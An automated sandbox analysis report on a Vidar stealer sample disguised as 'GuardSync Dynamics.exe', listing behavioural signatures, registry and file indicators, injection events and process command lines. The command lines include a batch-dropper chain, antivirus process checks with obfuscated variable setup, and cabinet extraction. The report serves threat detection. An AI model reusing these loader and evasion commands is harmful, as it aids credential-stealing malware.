Malware Analysis Report

2025-08-10 20:05

Sample ID 250704-n4b8maej8x
Target 04072025_1156_GuardSync Dynamics.exe
SHA256 15d4376eb24c3a2090739087e51dd8c471520302948f33d7646218712e8ae1cb
Tags
vidar 6ac1b1b70ccb3c5ee2891e7c48f811ac credential_access defense_evasion discovery spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V16

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

15d4376eb24c3a2090739087e51dd8c471520302948f33d7646218712e8ae1cb

Threat Level: Known bad

The file 04072025_1156_GuardSync Dynamics.exe was found to be: Known bad.

Malicious Activity Summary

vidar 6ac1b1b70ccb3c5ee2891e7c48f811ac credential_access defense_evasion discovery spyware stealer

Vidar family

Detect Vidar Stealer

Vidar

Uses browser remote debugging

Checks computer location settings

Executes dropped EXE

Reads data files stored by FTP clients

Reads user/profile data of web browsers

Unsecured Credentials: Credentials In Files

Obfuscated Files or Information: Command Obfuscation

Checks installed software on the system

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of SetThreadContext

Enumerates processes with tasklist

Drops file in Windows directory

Browser Information Discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Suspicious use of SendNotifyMessage

Checks processor information in registry

Delays execution with timeout.exe

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Modifies data under HKEY_USERS

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2025-07-04 11:56

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2025-07-04 11:56

Reported

2025-07-04 12:04

Platform

win10v2004-20250619-en

Max time kernel

288s

Max time network

210s

Command Line

"C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe"

Signatures

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Vidar

stealer vidar

Vidar family

vidar

Uses browser remote debugging

credential_access stealer
Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1567862796-3850854820-1319363977-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1567862796-3850854820-1319363977-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2844 set thread context of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\LooksMail C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe N/A
File opened for modification C:\Windows\AssembledRochester C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe N/A
File opened for modification C:\Windows\TwinsArc C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe N/A
File opened for modification C:\Windows\YesterdayArbitrary C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\choice.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\findstr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\tasklist.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\tasklist.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\findstr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\findstr.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Delays execution with timeout.exe

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133961039916338464" C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1940 wrote to memory of 5612 N/A C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe C:\Windows\SysWOW64\cmd.exe
PID 1940 wrote to memory of 5612 N/A C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe C:\Windows\SysWOW64\cmd.exe
PID 1940 wrote to memory of 5612 N/A C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe C:\Windows\SysWOW64\cmd.exe
PID 5612 wrote to memory of 3204 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 5612 wrote to memory of 3204 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 5612 wrote to memory of 3204 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 5612 wrote to memory of 4808 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 4808 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 4808 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 3372 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 5612 wrote to memory of 3372 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 5612 wrote to memory of 3372 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 5612 wrote to memory of 5360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 5360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 5360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 3160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\extrac32.exe
PID 5612 wrote to memory of 3160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\extrac32.exe
PID 5612 wrote to memory of 3160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\extrac32.exe
PID 5612 wrote to memory of 5344 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 5344 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 5344 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 5612 wrote to memory of 2844 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 5612 wrote to memory of 2844 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 5612 wrote to memory of 2844 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 5612 wrote to memory of 2300 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\choice.exe
PID 5612 wrote to memory of 2300 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\choice.exe
PID 5612 wrote to memory of 2300 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\choice.exe
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com
PID 2844 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\362997\Opens.com C:\Users\Admin\AppData\Local\Temp\362997\Opens.com

Processes

C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe

"C:\Users\Admin\AppData\Local\Temp\04072025_1156_GuardSync Dynamics.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c copy Chemical.accdt Chemical.accdt.bat & Chemical.accdt.bat

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "opssvc wrsa"

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr "nsWscSvc ekrn bdservicehost SophosHealth AvastUI AVGUI & if not errorlevel 1 Set uHaokukEYZtcNWeSFxjvzPhzyHypEx=AutoIt3.exe & Set sGlHEpDvlr=.a3x & Set ualNAJcOnaXFfMtgoBuyuxABXcS=300

C:\Windows\SysWOW64\extrac32.exe

extrac32 /Y Greg.accdt *.*

C:\Windows\SysWOW64\findstr.exe

findstr /V "Pac" Insurance

C:\Users\Admin\AppData\Local\Temp\362997\Opens.com

Opens.com E

C:\Windows\SysWOW64\choice.exe

choice /d n /t 5

C:\Users\Admin\AppData\Local\Temp\362997\Opens.com

C:\Users\Admin\AppData\Local\Temp\362997\Opens.com

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

